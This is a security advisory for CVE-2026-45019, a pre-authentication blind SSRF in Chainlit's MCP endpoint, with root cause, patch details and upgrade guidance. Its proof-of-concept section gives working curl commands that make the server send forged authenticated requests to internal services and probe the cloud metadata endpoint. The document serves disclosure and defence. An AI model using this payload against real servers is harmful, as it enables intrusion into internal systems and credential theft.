CVE-2026-45019: Chainlit SSRF via MCP SSE and Streamable-HTTP Transports
When Chainlit's MCP feature is enabled, any unauthenticated attacker can force the server to make HTTP requests to internal services or cloud metadata endpoints, with fully attacker-controlled…

The problem
The POST /mcp endpoint accepts a user-supplied url and optional headers dict for both the sse and streamable-http transports. No scheme check, no private-IP filtering, and no allowlist exist in the affected versions.
The handler passes both values directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server. No authentication is required to reach /mcp, so the attack is pre-auth. Although the response is never returned to the attacker (blind SSRF), full control over the destination URL and headers is enough to issue state-changing POST requests to internal APIs with forged Authorization tokens, probe cloud metadata endpoints like AWS IMDSv1 at 169.254.169.254, and scan internal ports.
Proof of concept
A working proof-of-concept for CVE-2026-45019 in chainlit, with the exact payload below.
# Step 1: open a Socket.IO session
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'
# Step 2: trigger SSRF with attacker-controlled URL and headers
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "ssrf",
"clientType": "streamable-http",
"name": "probe",
"url": "http://127.0.0.1:4445/internal-admin",
"headers": {
"Authorization": "Bearer attacker-controlled-token",
"X-Internal-Secret": "exfiltrated",
"Cookie": "session=hijacked"
}
}'
# The server sends this to 127.0.0.1:4445:
# POST /internal-admin HTTP/1.1
# Host: 127.0.0.1:4445
# Authorization: Bearer attacker-controlled-token
# X-Internal-Secret: exfiltrated
# Cookie: session=hijackedThe root cause is in backend/chainlit/types.py, where the Pydantic request model declares url as a bare str with no validators. The connect_mcp handler in backend/chainlit/server.py passes that string directly into the MCP SDK transport calls with no interception.
The header-forwarding amplifier was added in PR #2292 (released in v2.6.4), which introduced streamable-http support and began forwarding an attacker-supplied headers dict to both transports. This upgraded a plain URL-redirect SSRF into one that can forge authenticated, state-changing requests against internal services.
The patch (commit 0565fd0) introduces an opt-in allowlist model: user-supplied connections require features.mcp.user_servers.enabled = true plus a non-empty allowed_urls list, URLs are validated for scheme and path (rejecting dot-segments, encoded separators, and non-ASCII), sensitive headers like Cookie, Host, and Proxy-Authorization are stripped before the outbound request is made, and HTTP redirects are no longer followed so an allowlisted host cannot redirect to an internal target.
The fix
Upgrade to chainlit 2.12.0. In config.toml, keep features.mcp.enabled = false unless MCP is actively needed. If user-supplied servers are required, set features.mcp.user_servers.enabled = true and populate allowed_urls with only the specific prefixes needed. As a defense-in-depth measure, restrict outbound egress from the Chainlit host at the firewall level to block access to RFC-1918 ranges and 169.254.169.254.
Note that 2.12.0 has a breaking config change: legacy [features.mcp.sse], [features.mcp.stdio], and [features.mcp.streamable-http] sections must be migrated to the new [[features.mcp.servers]] format before MCP is re-enabled.
Reported by Vipin (SPL / SecureLayer7).
Related research
- critical · 9.8CVE-2026-45018CVE-2026-45018: Chainlit Unauthenticated Remote Code Execution via MCP stdio Command Injection
- high · 8.2utcp-http SSRF via Unvalidated HTTP Redirect in call_tool
- high · 7.1utcp-http OAuth2 tokenUrl Trust Boundary Bypass (SSRF and Credential Theft)
- high · 7.1CVE-2026-55537CVE-2026-55537: PraisonAI Webhook SSRF via DNS Fail-Open and TOCTOU Race